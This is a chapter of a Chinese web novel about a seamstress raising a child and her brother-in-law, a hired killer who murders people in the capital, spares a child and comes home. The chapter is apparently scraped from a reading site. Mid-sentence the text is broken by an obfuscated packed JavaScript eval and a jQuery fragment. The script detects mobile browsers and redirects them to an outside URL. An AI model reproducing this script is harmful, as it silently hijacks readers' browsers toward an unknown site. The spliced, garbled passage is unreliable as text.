38. 第 38 章

作品:《妻嫂

    世人忙忙碌碌皆是为了生活,阿娇虽有林城给的巨款傍身,但她根本舍不得花也不能花。靠着自己一双手,她发现也能养活自己和恬姐儿,就是成日用眼,眼睛越发酸胀,有时候看东西模糊。


    傍晚吃过饭,趁着天色还没黑,阿娇坐在院子里继续绣帕子,刚开始阿娇不大敢下针,毕竟是第一次绣果子类,要仔细琢磨一番免得弄坏料子。


    与布料不同,丝料容不得半点闪失,一不小心留下个针眼会很明显。


    林城不在,阿娇所有的时间便扑到了做绣活上,天气炎热之下懒得开火做饭,也无甚食欲,随意的吃了一些。若不是记挂着给恬姐儿喂奶,她连饭都不想吃了。


    忙了一天下来,蜜桃和叶子都绣好了,不过中间空着,差桃子和绿叶相接部分,这部分阿娇打算换针法和线的颜色,力图看起来栩栩如生。


    日落西山,阿娇揉着眼睛,打算夜里不做绣活了。倒不是心疼烛火钱,毕竟她现在收入不错,灯还是点的起的,主要是担心自己眼睛。


    恬姐儿今日白天没睡,夜里早早睡着了,阿娇索性坐在院子里扇风乘凉,打算过会儿困了直接进屋睡觉。


    谁料听到隔壁的吵闹声和哭声,尖利的嗓音像是虞婆子。混杂着其他人的劝慰声,甚至还有秋娘的声音。


    没过一会,声音渐渐歇了,却有人敲响院门。


    “谁?”


    “阿娇,是我。”


    一听是秋娘的声音,阿娇忙不迭开了门,秋娘闪身进来时候擦了下眼睛。


    “秋娘,怎么了?”


    这些日子相处下来,秋娘是个爽朗爱笑的小娘子,尤其是有了孩子后,直率里带了温柔,每次见她都是笑容满面。不过此刻,她叹了口气,拉过阿娇的手说抱歉。


    “对不住了阿娇,着实是……”秋娘真的难以启齿,可事到临头,她也是没办法了。


    “婆母将人家嫁衣料子弄坏了,李大娘子说要赔偿一百两,婆母不信邪,说肯定会做好嫁衣,遂又找了几个绣娘,谁料越改越糟,好好的布料剪坏了,神仙难救!李大娘子下最后通牒,说是最迟后日早上必须将钱送过去,否则……否则就要将我们一家告上衙门。阿娇,我家里钱确实不够,若是可以的话,你能否借我一些?”


    秋娘说完这话当真无地自容。


    她当然知道阿娇没钱,如若不然也不会天天做绣活挣钱。可现在家里鸡飞狗跳,婆母病倒了,公爹发话,让两个儿子必须掏钱,说都是一家人,要将难关共同度过。


    秋娘当然不肯,弟妹也是不愿意的,可公爹说了,如果不拿钱,他就要去衙门告他们兄弟俩不孝。


    本朝顶个不孝的罪名并不是被戳脊梁骨那么简单,若是上告衙门,是会获刑的。


    秋娘肚子里怀着孩子,夫君万万不可进牢房。无奈之下,求到了阿娇这里。


    “等着,我这就去给你拿。”


    知道阿娇手里没钱,秋娘还以为会婉拒,亦或者随便打发了她,毕竟白日里已经和亲朋好友借过了,人家一听欠下如此巨额债款,怕还不上所以不愿意借。


    唯有阿娇,听完后当即去取了钱,很快回来将一串铜钱塞进秋娘手里。


    “这里约莫八百多,你先拿去用。”


    秋娘感动的要哭,阿娇问道:“还差多少?”


    九百枚铜板才能换得一两银子,那一百两对于普通人家来说,简直是天文数字。


    “把田地里的收成签给了旁人,加上家里杂七杂八卖了后,一共凑了四十多两,又和人借了一些,能有个六十两左右吧。”


    “还差四十两。”阿娇算着银钱,不由得替秋娘着急。


    秋娘抹了抹眼泪,勉强笑着道:“没事,到时候找李大娘子说通说通,多宽限些时日。”


    话是这么说,短时间内凑齐四十两简直是天方夜谭。


    想起林城那两匣子银子,又看了看着急上火而憔悴的秋娘。


    但到底没动那笔钱,阿娇心里明镜,那些银子是小叔子的,不是她的。


    ……


    上京城内,因为有流民游荡在城门口,因此城内越发戒严,更别提本就有士兵夜巡逻,保护一方百姓安全。


    一队巡逻兵顺着宽广大路走过,排在最后的士兵突然停住脚步,回头张望。前面士兵喊他快走,他疑惑道:“你们有没有听见什么声音?”


    近日朝堂动荡,各个势力交杂,像是他们最底层的小兵虽然听到风声,但不管好事坏事都落不到他们头上,唯有好好上值才是正理。


    话虽如此,难免战战兢兢,生怕兵变连累了自己,因此有点风吹草动就大惊失色。


    “哪有声音?”同僚也站定,入夜后上京城依旧烛火通明宛若白昼,那些世家子弟醉生梦死不知天地为何物,附近正好有个花楼,简直是夜夜笙歌。


    “估计是花楼里传出来的声音吧。”


    小兵挠了挠头,回忆起方才听见的闷哼,确实有点像男女行事时的动静。


    “可能是我听错了。”小兵说罢跟上其他人。


    街道旁的高门大院一墙之隔,一道颀长身影将双目圆瞪的尸体从墙角下拖走,待收拾好一切后已经快要天亮。


    身上沾了不少血迹的男人去到院内池塘里净手,蹲下时腰间的香囊荡漾着,上头如意纹格外精致。


    他低头,瞧见香囊上落了一滴血,眉头微蹙,拿出帕子认真擦拭。


    脑海里不由得想起临走前他亲吻嫂嫂额头时,女人懵懂的眼神。


    玉面阎罗似的人物竟然勾唇笑了。


    不过下一瞬,他便收敛笑容,起身朝着假山后走去。


    有意放轻脚步,最后在几步远地方站定。将已经擦拭干净的短刀拿出来,正欲往假山窟窿里走去时,突然有个小厮模样的人跑了出来。


    林城挑眉。


    能不动生息藏如此直之久,就不该再弄出声响,安安静静或许还能留下一条性命。


    片刻后,那小厮倒地,手捂着脖子上的血窟窿,天色将亮未亮,却不妨碍林城将对方的一切神色尽收眼底。


    那小厮朝着假山方向看了两次,最后睁着眼睛咽了气。


    “做人做到底,送佛送到西。”林城闲庭若步,打算给藏匿之人一个痛快。


    天色昏暗,假山嶙峋,是个藏人的好地点,只要不发生声响,林城当真发现不了此地。可惜藏身之人穿着藕荷色的衣裳,分外好认。


    林城眯着眼,不远处是个穿着锦衣头戴金项圈的男娃,看不清楚长相,但小小一团缩在那,睁着一双清澈的大眼睛。假山里更是什么都看不清,小娃娃努力抬头,眼睛眨了几下,依然辨别不出颀长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366969|197349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人影是谁。


    林城看着那孩子许久,最后不着痕迹的收起武器,转身离开。


    他放那孩子一条生路,看他自己造化如何了。


    ……


    林城悄声离开,走出两条街巷后倏地顿住脚步。


    如意楼第一课便是不可妇人之仁。


    那年的林城不过七岁,上山时每个人可挑选一直宠物,他养了一只兔子。半年后,上头发话,让所有孩子亲手宰了自己喂养长大的小动物。


    杀兔子只是第一步,后来还有各种炼狱。从小到大所有人和事都告诉林城,做事要永绝后患。


    可他方才放了个孩子。


    想到孩子无辜的眼神和阿娇有几分像,林城并未后悔,一个孩子而已,翻不出天来。


    他去香水行准备清洗一番回家去了。


    快马加鞭日夜兼程,从上京城到望川县也要六天五夜。


    回来时候正是下午,意外的是家门上了锁。


    自从阿娇来了之后,林城从未带过钥匙,他每次回来只要推开门便能见到嫂嫂的笑脸。


    今日却吃了闭门羹。


    ……


    当阿娇回来时,看见夕阳下背靠院门的年轻男人。他双眸紧闭,面上带着疲惫和憔悴,一条腿屈膝,胳膊随意的搭放其上,整个人慵懒又随性。


    在阿娇要开口唤人的前一息,林城睁开眼,一瞬间所有疲惫一扫而空。


    “嫂嫂。”


    他起身,阿娇也快步来到近前,眼见着他风尘仆仆的模样,她问:“不是说要好久才回来吗?小叔,那头的事情办完了?”


    每次林城出去打的名号都是有人聘他做家具,一般多是给新人夫妻做成婚用的家具家用,难免会费一番功夫。没想到才刚入七月,小叔就回来了。


    “嗯,因为顺利所以结束就回来了。”他道。


    阿娇自然一万个信她,开了门俩人往院子走,林城落后一步,关门时抬眼望向四周,只见低头偷看他们的左邻右舍忙错开眼神,待院门关上了才敢凑在一起窃窃私语。


    近日阳光明媚,阿娇在院子里晒了衣裳,因着以为小叔还要过几日才归,所以胆大妄为将小衣也拿出来晾晒,一进门就直奔晾晒架子,忙不迭的抽走衣裳,红着一张脸进屋去了。


    在屋里地上铺了席子,既凉爽又能让恬姐儿爬着玩,不过阿娇要去厨房做饭,便劳烦林城帮她照看一眼。


    一进屋,林城就瞧见挂在衣架上的红色喜袍了。


    “这是……帮隔壁做的。”阿娇心虚的低头。


    之前小叔明确表示过不许帮那虞婆子,不过事情并不简单,阿娇有心解释,却听林城道:“嫂嫂自有度量就好。”


    说罢,他蹲下身子,破天荒拿出来一个小孩玩的蹴鞠放在恬姐儿面前。


    “送你。”


    林城一脸认真,反观对面趴着的恬姐儿,一手抓过那蹴鞠直接往嘴里塞。


    阿娇噗嗤一笑,引得林城看过来,眼见着他要起身奔着她来,不知怎么慌乱的厉害,脸红心跳小跑着钻厨房去了。


    兔子似的女人有点风吹草动便躲起来。


    林城轻笑暗道来日方长。


    可有些事情拖不得,没过两日,林城就后悔了。有道是先下手为强,后下手遭殃,他哪里想到,会被人捷足先登。